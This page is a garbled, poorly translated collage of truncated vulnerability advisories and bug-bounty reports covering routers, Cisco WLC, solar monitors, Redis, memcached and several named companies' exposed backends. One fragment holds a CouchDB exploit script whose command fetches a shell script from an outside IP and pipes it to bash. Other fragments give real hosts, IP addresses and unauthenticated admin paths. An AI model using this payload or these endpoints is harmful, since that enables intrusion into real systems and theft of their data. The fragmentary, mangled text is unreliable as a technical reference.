401 unauthorized access

Release date:Updated on: Affected Systems:TP-LINK TD-W89Description:--------------------------------------------------------------------------------Bugtraq id: 67435TP-Link TD-W89 is a wireless router product.The TP-Link TD-W89 router has an unauthorized access vulnerability when processing rom-0 files. Attackers can obtain sensitive information after successful exploitation.*> Suggestion:----------------

Release date:Updated on: Affected Systems:Cisco Wireless LAN Control 7.2Cisco Wireless LAN Control 7.1Cisco Wireless LAN Control 7.0Unaffected system:Cisco Wireless LAN Control 7.2.103.0Cisco Wireless LAN Control 7.1.91.0Cisco Wireless LAN Control 7.0.220.0Description:--------------------------------------------------------------------------------Bugtraq id: 57524CVE (CAN) ID: CVE-2013-1105Cisco WLC is responsible for system-wide wireless LAN functions, such as security policies, intrusion prote

Release date:Updated on: Affected Systems:Sinapsi eSolar 2.xSinapsi eSolar DUO 2.xSinapsi eSolar Light 2.xDescription:--------------------------------------------------------------------------------Cve id: CVE-2012-5864 Sinapsi eSolar Light is a monitoring system used in solar applications. ESolar, eSolar DUO, and eSolar Light do not check whether the user accessing the page on the device has passed authentication. By directly accessing the page on the device, attackers can obtain

5173 unauthorized access to the backend of a substation, and an FCK still exists, but the file cannot be deleted or usedDetailed description:Http://promotion.5173.com/fckeditor/editor/filemanager/connectors/test.htmlHttp://promotion.5173.com/CodeAward/admin/awardPeopleRule.aspxDirectly opening the background link will jump to the background login page. After disabling JS, you can go to the background! There

Unauthorized access to the East China Sea airline foc System (leakage of a large amount of sensitive aviation data) Link: http ://**.**.**.**Under normal circumstances, login verification is required: Crawlers in Baidu find that the download folder under the root directory can be directly accessed.Http: // **. **/download The ftppassword .txt here is another one. You can use this text to obtain the F

A system vulnerability package in gionee may leak the IMEI serial number of 3.69 million users (unauthorized access/SQL injection) Export the IMEI serial number file of the 3.69 million user in one click, and calculate 20 rank Http: // 218.16.100.212: 8080/gionee/weibo/imeiManager! List can be accessed directly without logon Built-in export FunctionExport the data of January 1, December 27 A total of Ja

}]},\n {proc_lib,init_p_do_apply,3,[{file,\ "proc_lib.erl\"},{line,239}]}]} "} [email protected]:~# PY: defCouchDb (URL):PrintURL cmd='curl-x PUT \ ''+url +'/_config/query_servers/cmd\ ''+'- D'+'\ ' "/usr/bin/curl http://192.184.40.86:6554/1.sh|bash>/tmp/6666" \ ''cmd1='curl-x PUT \ ''+url +'/vultest\ ''CMD2='curl-x PUT \ ''+url +'/vultest/vul\ ''+'- D'+'\ ' {"_id": "770895a97726d5ca6d70a22173005c7b"}\ ''cmd3='curl-x POST \ ''+url +'/vultest/_temp_view?limit=11\ ''+'- D'+'\ ' {"Language": "cmd",

Release date: 2012-4 4Updated on: 2012-12-07 Affected Systems:HP Network Node Manager I v9.20HP Network Node Manager I 9.1xDescription:--------------------------------------------------------------------------------Bugtraq id: 56822CVE (CAN) ID: CVE-2012-3275 HP Network Node Manager I-series (NNMi) software provides powerful out-of-the-box functions to help your Network operation team efficiently manage networks of any size. HP Network Node Manager I (NNMi) v9.1x, v9.20 (HP-UX, Linux, Solaris, W

Getshell caused by unauthorized access to redis on a website of Phoenix Learn from Pig Http: // 61.155.16 7.220: 843/ 61.155.167.220 although redis port 221 is changed, it is still not authorized to access Http: // 61.155.167.220/test. php exposes the path I tried the General getshell method. The redis cache issue cannot be executed by shell.I don't want flush

two security vulnerability types that are caused are generally different from the locations used by memcached data (XSS is commonly referred to as sink), such as:(1) The non-filtered direct output of cached data can lead to XSS;(2) The SQL injection query can result in SQL injection if the cached data is not filtered.(3) Cache data store sensitive information (such as: User name, password), can be directly leaked through the read operation;(4) The cache data is not filtered directly through the